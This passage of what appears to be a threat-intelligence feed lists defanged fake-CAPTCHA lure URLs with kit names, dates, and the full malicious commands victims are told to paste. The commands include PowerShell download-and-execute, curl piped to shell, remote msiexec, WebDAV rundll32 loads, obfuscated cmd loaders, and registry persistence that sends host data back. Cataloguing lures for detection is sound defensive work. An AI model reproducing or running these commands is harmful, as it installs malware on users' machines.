api[.]tundstone[.]com/drs& start \"\" \"%y\")\"","lastSeen":"2026-10-14","firstSeen":"2026-10-14"},{"url":"hxxps://atikintech[.]com/onestep","host":"atikintech[.]com","kits":["shieldbeaver"],"urls":1,"sites":2,"command":"msiexec /i hxxps://atikintech[.]com/onestep /qn","lastSeen":"2026-10-15","firstSeen":"2026-10-13"},{"url":"hxxps://blaze-venture[.]com/curl/ayuo6yhzwj/rxocex4v0udw2traopv7jtdt.json","host":"blaze-venture[.]com","kits":["bwpanel","la02","lenai"],"urls":1,"sites":2,"command":"curl -s $(echo \"[base64 of: hxxps://blaze-venture[.]com/curl/ayuo6yhzwj/rxocex4v0udw2traopv7jtdt.json]\" | openssl base64 -d -A) | zsh","lastSeen":"2026-10-02","firstSeen":"2026-10-02"},{"url":"hxxps://cache-assistant[.]com/ru1f6y/CnXRCeQ3Zp3s","host":"cache-assistant[.]com","kits":["lenai","nochain"],"urls":1,"sites":2,"command":"curl -sf $(echo '[base64 of: hxxps://cache-assistant[.]com/ru1f6y/CnXRCeQ3Zp3s]' | base64 -d) | osascript -l JavaScript","lastSeen":"2026-09-15","firstSeen":"2026-09-15"},{"url":"hxxps://cdn[.]kjhg[.]shop/seo/inst.php","host":"cdn[.]kjhg[.]shop","kits":["doubledonut","drivesurge","lenai"],"urls":1,"sites":2,"command":"$t=$env:APPDATA+[char]92+\"g\";$z=$t+[char]92+\"g[.]zip\";New-Item -Path $t -ItemType Directory -Force|Out-Null;curl.exe -sL -o $z \"hxxps://cdn[.]kjhg[.]shop/seo/inst.php\";tar.exe -xf $z -C $t;Remove-Item $z;$e=Get-ChildItem $t -Recurse -Filter \"Snginstar.exe\"|Select-Object -First 1;if($e){$w=[wmiclass]\"Win32_Process\";$w.Create($e.FullName)|Out-Null};exit","lastSeen":"2026-10-07","firstSeen":"2026-10-06"},{"url":"hxxps://checkmrobot[.]site/ps/traffic?r=0772","host":"checkmrobot[.]site","kits":["xorveil"],"urls":2,"sites":2,"command":"irm hxxps://checkmrobot[.]site/ps/traffic?r=0772|iex","lastSeen":"2026-09-24","firstSeen":"2026-09-24"},{"url":"hxxps://cupiakleanav[.]com/hex/lom/c0ccc480","host":"cupiakleanav[.]com","kits":["drivesurge","lenai"],"urls":2,"sites":2,"command":"","lastSeen":"2026-09-02","firstSeen":"2026-09-01"},{"url":"hxxps://dorper[.]com[.]au/confirm","host":"dorper[.]com[.]au","kits":["shieldbeaver"],"urls":1,"sites":2,"command":"msiexec /i hxxps://dorper[.]com[.]au/confirm /qn","lastSeen":"2026-10-11","firstSeen":"2026-09-07"},{"url":"hxxps://dosauthi[.]com/download/63s8bl/Package_b16888.exe","host":"dosauthi[.]com","kits":["la02","lenai"],"urls":2,"sites":2,"command":"powershell -ep bypass -w h -c \"iwr 'hxxps://dosauthi[.]com/download/63s8bl/Package_b16888.exe' -OutFile $env:TEMP\\a.exe;Unblock-File $env:TEMP\\a.exe -EA 0;start $env:TEMP\\a.exe\"","lastSeen":"2026-10-09","firstSeen":"2026-10-09"},{"url":"hxxps://espirevox[.]com/next","host":"espirevox[.]com","kits":["shieldbeaver"],"urls":1,"sites":2,"command":"msiexec /i hxxps://espirevox[.]com/next /qn","lastSeen":"2026-10-11","firstSeen":"2026-09-07"},{"url":"hxxp://fenandalabaster[.]com/oo","host":"fenandalabaster[.]com","kits":["smartapesg"],"urls":1,"sites":2,"command":"%COMSPEC% /c start \"\" /min %COMSPEC% /c %COMSPEC% /v:on /c \"(set x=cu&set c=rl&for %y in (%LocalAppData%\\NHEWS.hta) do !x!!c! -skLo \"%y\" fenandalabaster[.]com/oo& start \"\" \"%y\")\"","lastSeen":"2026-10-17","firstSeen":"2026-10-16"},{"url":"hxxps://freeviewstats[.]com/AC9plOxhIayQRojYd","host":"freeviewstats[.]com","kits":["branchhop","embedshade","gzipgnaw","xorveil"],"urls":1,"sites":2,"command":"iwr -Uri 'hxxps://freeviewstats[.]com/AC9plOxhIayQRojYd' -OutFile (Join-Path $env:APPDATA 'spai.ps1');","lastSeen":"2026-10-21","firstSeen":"2026-10-07"},{"url":"hxxp://holmandandesite[.]com/rsc","host":"holmandandesite[.]com","kits":["smartapesg"],"urls":1,"sites":2,"command":"%COMSPEC% /c start \"\" /m^i^n %COMSPEC% /c %COMSPEC% /v:on /c \"(set x=cu&set c=rl&for %y in (%LocalAppData%\\NHEWS.hta) do !x!!c! -skLo \"%y\" holmandandesite[.]com/rsc& start \"\" \"%y\")\" & rem              ---------- Human verification: press Enter to continue","lastSeen":"2026-10-31","firstSeen":"2026-10-31"},{"url":"hxxp://interactivsbroker[.]com/","host":"interactivsbroker[.]com","kits":["embedshade"],"urls":3,"sites":2,"command":"$f=$env:TEMP+'x.ps1';irm ('interactivsbroker[.]com/'+'6SCGq3844GIbfKdgg') -OutFile $f;$e=[Management.Automation.Language.Parser]::ParseFile($f,[ref]$null,[ref]$null);&($e.GetScriptBlock())","lastSeen":"2026-09-25","firstSeen":"2026-09-19"},{"url":"hxxps://interseq[.]at/h/706036f8a6192317","host":"interseq[.]at","kits":["drivesurge","la02","lenai"],"urls":2,"sites":2,"command":"(irm 'hxxps://interseq[.]at/h/706036f8a6192317' -UserAgent 'WUA/5d45126cd6' -Headers @{'X-WUA'='5d45126cd6'})|iex","lastSeen":"2026-10-07","firstSeen":"2026-09-13"},{"url":"hxxps://love[.]district7pho[.]com/pidor.ps1","host":"love[.]district7pho[.]com","kits":["bwpanel","lenai"],"urls":1,"sites":2,"command":"IEX((New-Object Net.WebClient).DownloadString('hxxps://love[.]district7pho[.]com/pidor.ps1')) # ------------------------ PRESS  ENTER TO VERIFY -----------------------","lastSeen":"2026-10-19","firstSeen":"2026-10-18"},{"url":"hxxps://natural-health-news[.]com/Verify.msi?I","host":"natural-health-news[.]com","kits":["popuppond"],"urls":1,"sites":2,"command":"msiexec /i \"hxxps://natural-health-news[.]com/Verify.msi?I am not a robot — reCAPTCHA Verification ID: 1393","lastSeen":"2026-09-10","firstSeen":"2026-09-06"},{"url":"hxxps://ndigitals[.]in/vcapcha.ps1","host":"ndigitals[.]in","kits":["stopandprotect"],"urls":1,"sites":2,"command":"powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('hxxps://ndigitals[.]in/vcapcha.ps1'))\"","lastSeen":"2026-09-20","firstSeen":"2026-09-14"},{"url":"hxxps://shipmint[.]io/verify","host":"shipmint[.]io","kits":["shieldbeaver"],"urls":1,"sites":2,"command":"msiexec /i hxxps://shipmint[.]io/verify","lastSeen":"2026-10-11","firstSeen":"2026-09-07"},{"url":"hxxps://simplecheck[.]online/get_verify?i=12963&a=","host":"simplecheck[.]online","kits":["lenai","overlaywar"],"urls":6,"sites":2,"command":"iwr -Uri ('hxxps://simplecheck[.]online/get_verify?i=12963&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&b='+((Get-CimInstance Win32_ComputerSystem).PartOfDomain)) -OutF '$($pwd)32[.]zip' -UseB; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('$($pwd)32[.]zip','$($pwd)32'); attrib +h +s '$($pwd)32'; sp 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' -na 'seahorse_flow_calmness' -val '$($pwd)32bin.exe'; saps -F '$($pwd)32bin.exe' -Wo '$($pwd)32'; sleep 60; iwr -Uri ('hxxps://simplecheck[.]online/debug_info?i=12963&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&runned='+([bool](tasklist|findstr changepk))+'&dir='+([Uri]::EscapeDataString(((Get-ChildItem -EA 0 '$($pwd)32'|ForEach-Object {","lastSeen":"2026-09-29","firstSeen":"2026-09-29"},{"url":"hxxps://simpludelicios[.]md/vcapcha.ps1","host":"simpludelicios[.]md","kits":["stopandprotect"],"urls":1,"sites":2,"command":"powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('hxxps://simpludelicios[.]md/vcapcha.ps1'))\"","lastSeen":"2026-10-28","firstSeen":"2026-09-19"},{"url":"hxxps://swingerwives[.]com","host":"swingerwives[.]com","kits":["chainbite","drivesurge","fleetsync","linkcradle"],"urls":1,"sites":2,"command":"$t=$env:APPDATA+[char]92+\"l\";$z=$t+[char]92+\"l[.]zip\";New-Item -Path $t -ItemType Directory -Force|Out-Null;curl.exe -sL -o $z \"hxxps://swingerwives[.]com\";tar.exe -xf $z -C $t;Remove-Item $z;$e=Get-ChildItem $t -Recurse -Filter \"Gratefull.exe\"|Select-Object -First 1;if($e){$w=[wmiclass]\"Win32_Process\";$w.Create($e.FullName)|Out-Null};exit","lastSeen":"2026-10-24","firstSeen":"2026-10-18"},{"url":"hxxp://synchronic-codes[.]lat/verifecation/nobots?key=a7f3c9e2b8","host":"synchronic-codes[.]lat","kits":["embedshade","skinframe"],"urls":1,"sites":2,"command":"msiexEc /PᵃᶜkAge \"hxxp://synchronic-codes[.]lat/verifecation/nobots?key=a7f3c9e2b8\" -Q","lastSeen":"2026-10-28","firstSeen":"2026-10-28"},{"url":"hxxp://update[.]coinmarketsap[.]com","host":"update[.]coinmarketsap[.]com","kits":[],"urls":1,"sites":2,"command":"iwr update[.]coinmarketsap[.]com | iex","lastSeen":"2026-10-11","firstSeen":"2026-10-11"},{"url":"hxxps://visualytes[.]crm360degree[.]com/challenge","host":"visualytes[.]crm360degree[.]com","kits":["shieldbeaver"],"urls":1,"sites":2,"command":"msiexec /i hxxps://visualytes[.]crm360degree[.]com/challenge /qn","lastSeen":"2026-10-13","firstSeen":"2026-09-07"},{"url":"webdav://web-captcha[.]cc/verification[.]google","host":"web-captcha[.]cc","kits":[],"urls":1,"sites":2,"command":"rundll32.exe \\\\web-captcha[.]cc\\verification[.]google,#1","lastSeen":"2026-09-06","firstSeen":"2026-09-01"},{"url":"hxxps://webpagehelp[.]online/get_verify?i=12952&a=","host":"webpagehelp[.]online","kits":["lenai","overlaywar","skinframe"],"urls":6,"sites":2,"command":"iwr -Uri ('hxxps://webpagehelp[.]online/get_verify?i=12952&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&b='+((Get-CimInstance Win32_ComputerSystem).PartOfDomain)) -OutF '$($pwd)512[.]zip' -UseB; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('$($pwd)512[.]zip','$($pwd)512'); attrib +h +s '$($pwd)512'; sp 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' -na 'gazebo' -val '$($pwd)512bin.exe'; saps -F '$($pwd)512bin.exe' -Wo '$($pwd)512'; sleep 60; iwr -Uri ('hxxps://webpagehelp[.]online/debug_info?i=12952&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&runned='+([bool](tasklist|findstr changepk))+'&dir='+([Uri]::EscapeDataString(((Get-ChildItem -EA 0 '$($pwd)512'|ForEach-Object {","lastSeen":"2026-09-29","firstSeen":"2026-09-29"},{"url":"hxxp://144[.]124[.]236[.]191/test.txt","host":"144[.]124[.]236[.]191","kits":["tokentooth"],"urls":1,"sites":1,"command":"conhost.exe --headless cm\"\"d /V:on /c \"set t=u&set pu=x&set Q=g&set h=o&set D=\\&c!t!rl 144[.]124[.]236[.]191/test.t!pu!t -!h! c:!D!!D!!t!sers!D!!D!p!t!blic!D!!D!ay!pu!ykk.tmp&&p!h!wershell ie!pu!(!Q!c c:!D!!D!!t!sers!D!!D!p!t!blic!D!!D!ay!pu!ykk.tmp -raw)\"","lastSeen":"2026-09-29","firstSeen":"2026-09-29"},{"url":"hxxp://146[.]103[.]101[.]229/Lurowuf","host":"146[.]103[.]101[.]229","kits":[],"urls":1,"sites":1,"command":"$(curl -fsSL hxxp://146[.]103[.]101[.]229/Lurowuf)","lastSeen":"2026-09-26","firstSeen":"2026-09-26"},{"url":"hxxp://149[.]33[.]6[.]192/4406","host":"149[.]33[.]6[.]192","kits":["lenai"],"urls":1,"sites":1,"command":"powershell -ExecutionPolicy Bypass \"irm 149[.]33[.]6[.]192/4406 -OutFile $env:temp\\4406.ps1;& $env:temp\\4406.ps1\"","lastSeen":"2026-10-15","firstSeen":"2026-10-15"},{"url":"hxxp://172[.]94[.]9[.]44/2.txt","host":"172[.]94[.]9[.]44","kits":[],"urls":1,"sites":1,"command":"","lastSeen":"2026-10-11","firstSeen":"2026-10-11"},{"url":"hxxp://193[.]148[.]56[.]98/RybeSrULK2BqHx1xkk","host":"193[.]148[.]56[.]98","kits":["tokentooth"],"urls":1,"sites":1,"command":"powershell -c \"iex(irm '193[.]148[.]56[.]98/RybeSrULK2BqHx1xkk' -UseBasicParsing)\" # VERFICATlON ID 838936586937562TE568374462074","lastSeen":"2026-09-07","firstSeen":"2026-09-07"},{"url":"hxxp://31[.]77[.]228[.]199/Cugocawo","host":"31[.]77[.]228[.]199","kits":["lenai"],"urls":1,"sites":1,"command":"$(curl -fsSL hxxp://31[.]77[.]228[.]199/Cugocawo)","lastSeen":"2026-09-23","firstSeen":"2026-09-23"},{"url":"webdav://51-68-21-135[.]nip[.]io/DavWWWRoot","host":"51-68-21-135[.]nip[.]io","kits":["timbercheck"],"urls":1,"sites":1,"command":"conhost --headless cmd /c \"for /l %i in (1,1,25)do @pushd \\\\51-68-21-135[.]nip[.]io@SSL\\DavWWWRoot 2>nul&&(call Launcher.cmd&popd&exit)||ping -n 4 127.0.0.1>nul\" & echo                                                                              CloudVerified","lastSeen":"2026-10-11","firstSeen":"2026-10-11"},{"url":"hxxp://85[.]239[.]149[.]40?CloudFlare_Captcha_ID_7716254T1","host":"85[.]239[.]149[.]40","kits":["tokentooth"],"urls":1,"sites":1,"command":"powershell -c \"iex(irm '85[.]239[.]149[.]40?CloudFlare_Captcha_ID_7716254T1' -UseBasicParsing)\" # CloudFlare Captcha Verification ID T17483JDH21","lastSeen":"2026-09-27","firstSeen":"2026-09-19"},{"url":"hxxp://93[.]152[.]224[.]29/IpS9GN16MBsmhWBe","host":"93[.]152[.]224[.]29","kits":["tokentooth"],"urls":1,"sites":1,"command":"powershell -c \"iex(irm '93[.]152[.]224[.]29/IpS9GN16MBsmhWBe' -UseBasicParsing)\"# CloudFlare Captcha Verification ID#517920G5752y45","lastSeen":"2026-09-19","firstSeen":"2026-09-19"},{"url":"hxxp://93[.]183[.]93[.]9/ck/y.ps1","host":"93[.]183[.]93[.]9","kits":["minutemunch"],"urls":1,"sites":1,"command":"powershell -ep bypass -c \"IWR hxxp://93[.]183[.]93[.]9/ck/y.ps1 -OutFile $env:TEMP\\x.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\\x.ps1\" '                                                                  PRESS OK TO CONTINUE'","lastSeen":"2026-09-07","firstSeen":"2026-09-07"},{"url":"hxxp://94[.]154[.]35[.]116","host":"94[.]154[.]35[.]116","kits":["encodedgnaw"],"urls":1,"sites":1,"command":"","lastSeen":"2026-09-06","firstSeen":"2026-09-06"},{"url":"hxxp://94[.]74[.]164[.]136/fifx.odd","host":"94[.]74[.]164[.]136","kits":[],"urls":1,"sites":1,"command":"","lastSeen":"2026-10-11","firstSeen":"2026-10-11"},{"url":"hxxp://96[.]62[.]224[.]81/75","host":"96[.]62[.]224[.]81","kits":[],"urls":1,"sites":1,"command":"powershell -ExecutionPolicy Bypass \"$p=$env:TEMP+'\\11.ps1';(New-Object Net.WebClient).DownloadFile('hxxp://96[.]62[.]224[.]81/75',$p);& $p\"","lastSeen":"2026-09-29","firstSeen":"2026-09-29"},{"url":"hxxps://amazon-ny-gifts[.]com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt","host":"amazon-ny-gifts[.]com","kits":[],"urls":1,"sites":1,"command":"POWerShEll -W h \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('[base64 of: iex (iwr 'hxxps://amazon-ny-gifts[.]com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content]')) | iex\"","lastSeen":"2026-10-13","firstSeen":"2026-10-13"},{"url":"hxxp://api[.]arroystone[.]com/v1","host":"api[.]arroystone[.]com","kits":["smartapesg"],"urls":1,"sites":1,"command":"%COMSPEC% /c start \"\" /min %COMSPEC% /c %COMSPEC% /v:on /c \"(set x=cu&set c=rl&for %y in (%LocalAppData%\\NHEWS.hta) do !x!!c! -skLo \"%y\" api[.]arroystone[.]com/v1& start \"\" \"%y\")\"","lastSeen":"2026-10-09","firstSeen":"2026-10-09"},{"url":"hxxps://atm[.]kjhg[.]shop/seo/inst.php","host":"atm[.]kjhg[.]shop","kits":["lenai"],"urls":1,"sites":1,"command":"$t=$env:APPDATA+[char]92+\"g\";$z=$t+[char]92+\"g[.]zip\";New-Item -Path $t -ItemType Directory -Force|Out-Null;curl.exe -sL -o $z \"hxxps://atm[.]kjhg[.]shop/seo/inst.php\";tar.exe -xf $z -C $t;Remove-Item $z;$e=Get-ChildItem $t -Recurse -Filter \"Snginstar1.exe\"|Select-Object -First 1;if($e){$w=[wmiclass]\"Win32_Process\";$w.Create($e.FullName)|Out-Null};exit","lastSeen":"2026-10-11","firstSeen":"2026-10-11"},{"url":"hxxp://bogandserpentine[.]com/roq","host":"bogandserpentine[.]com","kits":["smartapesg"],"urls":1,"sites":1,"command":"%COMSPEC% /c start \"\" /min %COMSPEC% /c %COMSPEC% /v:on /c \"(set x=cu&set c=rl&for %y in (%LocalAppData%\\NHEWS.hta) do !x!!c! -skLo \"%y\" bogandserpentine[.]com/roq& start \"\" \"%y\")\"","lastSeen":"2026-10-19","firstSeen":"2026-10-19"},{"url":"hxxp://brmconfig[.]com","host":"brmconfig[.]com","kits":["lenai"],"urls":1,"sites":1,"command":"IEX(irm 'brmconfig[.]com')","lastSeen":"2026-09-10","firstSeen":"2026-09-10"},{"url":"hxxps://buh[.]reallstbank[.]ru/payload/run.ps1","host":"buh[.]reallstbank[.]ru","kits":[],"urls":1,"sites":1,"command":"","lastSeen":"2026-10-02","firstSeen":"2026-10-02"},{"url":"hxxps://build[.]polysupport[.]team/otadm/build[.]zip","host":"build[.]polysupport[.]team","kits":["offerlodge"],"urls":1,"sites":1,"command":"","lastSeen":"2026-09-28","firstSeen":"2026-09-28"},{"url":"webdav://captcha-web[.]cc/verification[.]google","host":"captcha-web[.]cc","kits":[],"urls":1,"sites":1,"command":"rundll32.exe \\\\captcha-web[.]cc\\verification[.]google,#1","lastSeen":"2026-09-01","firstSeen":"2026-09-01"},{"url":"hxxps://ciganshina[.]org/h/c/d2f492d65a617e96&echo","host":"ciganshina[.]org","kits":["lenai"],"urls":1,"sites":1,"command":"cmd /c \"(echo cd /d %~dp0&echo copy /b /y %windir%\\system32\\c?rl.exe x1.exe&echo .\\x1.exe -sLoa.cmd hxxps://ciganshina[.]org/h/c/d2f492d65a617e96&echo .\\a.cmd&echo del a.cmd x1.exe)>%PUBLIC%\\t.cmd& pcalua -a %PUBLIC%\\t.cmd&rem reCaptcha ID: 216690\"","lastSeen":"2026-10-29","firstSeen":"2026-10-29"},{"url":"hxxps://cloubflare[.]net/3025","host":"cloubflare[.]net","kits":["lenai"],"urls":1,"sites":1,"command":"cmd /c curl.exe -fsL --ssl-no-revoke --retry 8 --retry-connrefused --retry-delay 1 --connect-timeout 20 -o \"%TEMP%\\S923.msi\" hxxps://cloubflare[.]net/3025 && msiexec /i \"%TEMP%\\S923.msi\" /qn /norestart","lastSeen":"2026-10-18","firstSeen":"2026-10-18"},{"url":"hxxps://cloud-verificate[.]com/runner.ps1","host":"cloud-verificate[.]com","kits":[],"urls":1,"sites":1,"command":"IEX (New-Object Net.WebClient).DownloadString('hxxps://cloud-verificate[.]com/runner.ps1')","lastSeen":"2026-10-13","firstSeen":"2026-10-13"},{"url":"hxxps://cloudeliveryenterprise[.]com//?sid=REPLACE_ID","host":"cloudeliveryenterprise[.]com","kits":["doubledonut"],"urls":1,"sites":1,"command":"iex(iwr hxxps://cloudeliveryenterprise[.]com//?sid=REPLACE_ID -UseBasicParsing)","lastSeen":"2026-09-07","firstSeen":"2026-09-07"},{"url":"finger://cozylivingspacee[.]com/bxEsPFeURS","host":"cozylivingspacee[.]com","kits":[],"urls":1,"sites":1,"command":"%COMSPEC% /c s^t^a^r^t \"\" /min for /f \"skip=13 delims=\" %d in ('f^^i^^n^^g^^e^^r bxEsPFeURS@cozylivingspacee[.]com') do %d & echo '               ---Verify ---------------press ENTER---              '","lastSeen":"2026-10-11","firstSeen":"2026-10-11"},{"url":"hxxps://degpoints[.]com/setup/49fnea/Client_f5cb30.exe","host":"degpoints[.]com","kits":["branchhop","chainbite","la02","lenai","linkcradle","overlaywar"],"urls":1,"sites":1,"command":"powershell -ep bypass -w h -c \"iwr 'hxxps://degpoints[.]com/setup/49fnea/Client_f5cb30.exe' -OutFile $env:TEMP\\a.exe;Unblock-File $env:TEMP\\a.exe -EA 0;start $env:TEMP\\a.exe\"","lastSeen":"2026-10-10","firstSeen":"2026-10-10"},{"url":"hxxps://dietjalgaon[.]ac[.]in/video/681676/12/spT.lim","host":"dietjalgaon[.]ac[.]in","kits":["timbercheck"],"urls":1,"sites":1,"command":"powershell -w h -c \"$u='hxxps://dietjalgaon[.]ac[.]in/video/681676/12/spT.lim';$p=\"$env:USERPROFILEMusicd.ps1\";(New-Object System.Net.WebClient).DownloadFile($u,$p);powershell -w h -ep bypass -f $p\"","lastSeen":"2026-10-11","firstSeen":"2026-10-11"},{"url":"hxxps://dl1[.]claudflare-gateway[.]net/captchafix.exe","host":"dl1[.]claudflare-gateway[.]net","kits":["timbercheck"],"urls":1,"sites":1,"command":"cmd /c curl -L -o %TEMP%/update.exe hxxps://dl1[.]claudflare-gateway[.]net/captchafix.exe & start %TEMP%/update.exe","lastSeen":"2026-09-04","firstSeen":"2026-09-04"},{"url":"hxxps://dozco[.]com/public","host":"dozco[.]com","kits":["shieldbeaver"],"urls":1,"sites":1,"command":"msiexec /i hxxps://dozco[.]com/public","lastSeen":"2026-10-11","firstSeen":"2026-10-11"},{"url":"hxxp://dutyfrees[.]digital/ZcZoPbqBWjbcUh6A4","host":"dutyfrees[.]digital","kits":["lenai"],"urls":1,"sites":1,"command":"iex(irm 'dutyfrees[.]digital/ZcZoPbqBWjbcUh6A4')","lastSeen":"2026-09-06","firstSeen":"2026-09-06"},{"url":"hxxps://flamingo3dstudio[.]com/update.php?webhook=","host":"flamingo3dstudio[.]com","kits":["lenai"],"urls":1,"sites":1,"command":"irm 'hxxps://flamingo3dstudio[.]com/update.php?webhook={ray}' | iex","lastSeen":"2026-10-19","firstSeen":"2026-10-19"},{"url":"hxxps://flexsportpools[.]com/wp-admin/admin-ajax.php?action=splash_dl","host":"flexsportpools[.]com","kits":["splashlodge"],"urls":1,"sites":1,"command":"powershell -w h -Command \"$s=irm 'hxxps://flexsportpools[.]com/wp-admin/admin-ajax.php?action=splash_dl' -UseBasicParsing; $p=[System.IO.Path]::Combine($env:TEMP, 't.ps1'); [System.IO.File]::WriteAllText($p, $s); Invoke-Expression $p\"","lastSeen":"2026-10-13","firstSeen":"2026-10-13"},{"url":"hxxps://funducci[.]org/challenge","host":"funducci[.]org","kits":["shieldbeaver"],"urls":1,"sites":1,"command":"msiexec /i hxxps://funducci[.]org/challenge /qn","lastSeen":"2026-09-07","firstSeen":"2026-09-07"},{"url":"hxxp://geniecomputex[.]com/curl/001e07c934e19b9d10f621c6b7546b43b2fb1c7b8fce2625fc7b767dfb626336","host":"geniecomputex[.]com","kits":["dualprompt"],"urls":1,"sites":1,"command":"curl -kfsSL $(echo '[base64 of: hxxp://geniecomputex[.]com/curl/001e07c934e19b9d10f621c6b7546b43b2fb1c7b8fce2625fc7b767dfb626336]'|base64 -D)|zsh","lastSeen":"2026-10-16","firstSeen":"2026-10-16"},{"url":"hxxps://gerenland[.]click/flask/whales.msi","host":"gerenland[.]click","kits":["installerbeaver"],"urls":1,"sites":1,"command":"","lastSeen":"2026-11-02","firstSeen":"2026-11-02"},{"url":"hxxp://getstampi[.]com","host":"getstampi[.]com","kits":[],"urls":1,"sites":1,"command":"powershell.exe -windO mIniMIz $OSmOMR='Name';$lAL=59;$dKYA = Get-Command -m 'M*.*er*.*t*y' -C 'Cm';$dKYA=$dKYA.$OSmOMR;$nYzc=.$dKYA[60] getstampi[.]com;.$dKYA[$lAL]($nYzc);$TuPLaqCdOWVgfKuVUKmNffaEydiWDpxvsyXmvafWLCuzqTrLcrFrgSWskPpzkgmuOGPnKrUiXrfZtoLoxxRjncyjCENBOLstlgjyXgARYHTMkLCANZlhQUlmyiKiqGmYQtQubZhcTiTYMbAxeDVzwntThXLBmSoawJolBWekUXwDIGCpvnPWJmBUOnKwNeSNeTiybXhFEXOBwtnukkaYhiOZvRrBjNLRJYjJoJmbAzEUtvUnjtIjOZiXvObrlymetTVKVXIUEkicIQIMsnyIcFMOjvOwKMdiYpmogjuxjzFYJlgDBJxAjvSVQcPhkKzjhsfuvFghAqasXIhomfKhcmhullIxcXxouqESSHTSOCCUZhRfGCEbiOthqfYnTTmBfXXBfvh","lastSeen":"2026-10-08","firstSeen":"2026-10-08"},{"url":"hxxp://goocloudcapf[.]com","host":"goocloudcapf[.]com","kits":["branchhop"],"urls":1,"sites":1,"command":"powershell -NoProfile -c \"&((Get-Command|?{$_.Name -match ('vok.'+'*Re'+'st')})[0].Name)('goocloudcapf[.]com')|&  ((Get-Command|?{$PSItem[.]Name -match 'vok.*Ex'})[0].Name)\"","lastSeen":"2026-10-07","firstSeen":"2026-10-07"},{"url":"hxxp://gorgeandcarnelian[.]com/mnm","host":"gorgeandcarnelian[.]com","kits":["smartapesg"],"urls":1,"sites":1,"command":"%COMSPEC% /c start \"\" /min %COMSPEC% /c %COMSPEC% /v:on /c \"(set x=cu&set c=rl&for %y in (%LocalAppData%\\PROSSS.hta) do !x!!c! -skLo \"%y\" gorgeandcarnelian[.]com/mnm& start \"\" \"%y\")\"","lastSeen":"2026-10-05","firstSeen":"2026-10-05"},{"url":"hxxps://govrobczxc[.]cc/cdn/sync/traffic?r=290b","host":"govrobczxc[.]cc","kits":["xorveil"],"urls":1,"sites":1,"command":"irm hxxps://govrobczxc[.]cc/cdn/sync/traffic?r=290b|iex","lastSeen":"2026-11-04","firstSeen":"2026-11-04"},{"url":"hxxps://grvt[.]lat/auth?xc=3262759","host":"grvt[.]lat","kits":["framegnaw"],"urls":1,"sites":1,"command":"","lastSeen":"2026-09-09","firstSeen":"2026-09-09"},{"url":"hxxp://hashe[.]net/506c08290fae0a98","host":"hashe[.]net","kits":["lenai"],"urls":1,"sites":1,"command":"iex(iwr 'hxxp://hashe[.]net/506c08290fae0a98' -UseBasicParsing)","lastSeen":"2026-11-01","firstSeen":"2026-11-01"},{"url":"webdav://hcwjcope[.]poundbahis[.]com:443/","host":"hcwjcope[.]poundbahis[.]com","kits":[],"urls":1,"sites":1,"command":"conhost.exe --headless --inheritcursor --width 80 --height 30 -- cmd /v:on /c \"set a=pu&set b=shd&set c=run&set d=dll32&for %x in (!a!!b!) do @%x hcwjcope[.]poundbahis[.]com@SSL@443\ff679d78-ec48-498c-89f3-d5b024edd1a3 & !c!!d! goog.ct,#1\"","lastSeen":"2026-09-22","firstSeen":"2026-09-22"},{"url":"hxxp://hollowand[.]com/ii","host":"hollowand[.]com","kits":["smartapesg"],"urls":1,"sites":1,"command":"%COMSPEC% /c start \"\" /min %COMSPEC% /c %COMSPEC% /v:on /c \"(set x=cu&set c=rl&for %y in (%LocalAppData%\\HUREAG.hta) do !x!!c! -skLo \"%y\" hollowand[.]com/ii& start \"\" \"%y\")\"","lastSeen":"2026-10-08","firstSeen":"2026-10-08"},{"url":"hxxps://i-like-ele-phants-verification[.]live/iamchallenge/verification/UserID7383526","host":"i-like-ele-phants-verification[.]live","kits":["timbercheck"],"urls":1,"sites":1,"command":"msiexec /i hxxps://i-like-ele-phants-verification[.]live/iamchallenge/verification/UserID7383526","lastSeen":"2026-09-06","firstSeen":"2026-09-06"},{"url":"hxxps://imersion4cf[.]site/ps/traffic?r=eedc","host":"imersion4cf[.]site","kits":["overlaywar","xorveil"],"urls":1,"sites":1,"command":"irm hxxps://imersion4cf[.]site/ps/traffic?r=eedc|iex","lastSeen":"2026-09-26","firstSeen":"2026-09-26"},{"url":"hxxps://irp[.]cdn-website[.]com/45d8c6e0/files/uploaded/32.ps1","host":"irp[.]cdn-website[.]com","kits":["hashtail"],"urls":1,"sites":1,"command":"-w hidden -c \"Start-Process powershell -ArgumentList '-w hidden -c iwr hxxps://irp[.]cdn-website[.]com/45d8c6e0/files/uploaded/32.ps1 | iex' -WindowStyle Hidden\"","lastSeen":"2026-09-06","firstSeen":"2026-09-06"},{"url":"hxxps://journeylake11[.]com/curl/n3oph8sij/6s813socl50o3sp7x8y20rzo.txt","host":"journeylake11[.]com","kits":["lenai","nochain"],"urls":1,"sites":1,"command":"curl -s $(echo \"[base64 of: hxxps://journeylake11[.]com/curl/n3oph8sij/6s813socl50o3sp7x8y20rzo.txt]\" | openssl base64 -d -A) | zsh","lastSeen":"2026-09-21","firstSeen":"2026-09-21"},{"url":"hxxps://journeyslate6[.]com/curl/6nt3gce8vu4t/3gpojjerown8iwl1j2.json","host":"journeyslate6[.]com","kits":["lenai"],"urls":1,"sites":1,"command":"curl -s $(echo \"[base64 of: hxxps://journeyslate6[.]com/curl/6nt3gce8vu4t/3gpojjerown8iwl1j2.json]\" | openssl base64 -d -A) | zsh","lastSeen":"2026-09-22","firstSeen":"2026-09-22"},{"url":"hxxp://kyleandshale[.]com/faq","host":"kyleandshale[.]com","kits":["smartapesg"],"urls":1,"sites":1,"command":"%COMSPEC% /c start \"\" /min %COMSPEC% /c %COMSPEC% /v:on /c \"(set x=cu&set c=rl&for 